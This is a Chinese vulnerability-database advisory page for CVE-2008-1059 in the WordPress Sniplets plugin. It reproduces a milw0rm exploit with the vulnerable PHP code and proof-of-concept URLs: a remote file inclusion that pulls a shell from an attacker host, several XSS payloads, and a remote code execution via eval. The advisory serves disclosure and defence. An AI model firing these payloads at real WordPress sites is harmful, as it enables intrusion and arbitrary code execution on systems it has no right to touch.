WordPress Sniplets 插件'modules/syntax_highlight.php'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1114669 漏洞类型 代码注入
发布时间 2008-02-26 更新时间 2008-09-05
CVE编号 CVE-2008-1059 CNNVD-ID CNNVD-200802-499
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/5194
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200802-499
|漏洞详情
WordPressSniplets插件1.1.2和1.2.2中的modules/syntax_highlight.php存在PHP远程文件包含漏洞。远程攻击者可以借助libpath参数中的一个URL执行任意的PHP代码。
|漏洞EXP
########################
Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities by NBBN
########################
1) Remote File Inclusion

File: /modules/syntax_highlight.php
Register Globals: ON
Vuln code:
<?php

/* Name: Syntax Highlight */
include_once ("$libpath/geshi/geshi.php");

Poc:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?




2) Cross-Site Scripting

Register Globals: ON
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?url=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3Cli%3E

Register Globals: Off

Vuln Line:(3) <input type="hidden" name="page" value="<?php echo 
$_GET['page'] ?>"/>
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E


3) Remote Code Execution

Register Globals: ON
Code: 
<?php
/* Name: Execute as PHP */
if (substr ($text, 0, 4) == '<?php')
	$text = '?>'.$text;

eval ('?>'.$text);
?>

Poc: 
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

# milw0rm.com [2008-02-26]
|参考资料

来源:BID
名称:27985
链接:http://www.securityfocus.com/bid/27985
来源:BUGTRAQ
名称:20080225WordpressPluginSniplets1.1.2MultipleVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/488734/100/0/threaded
来源:MILW0RM
名称:5194
链接:http://www.milw0rm.com/exploits/5194
来源:SECUNIA
名称:29099
链接:http://secunia.com/advisories/29099
来源:XF
名称:sniplets-syntaxhighlight-file-include(40829)
链接:http://xforce.iss.net/xforce/xfdb/40829
来源:SREASON
名称:3706
链接:http://securityreason.com/securityalert/3706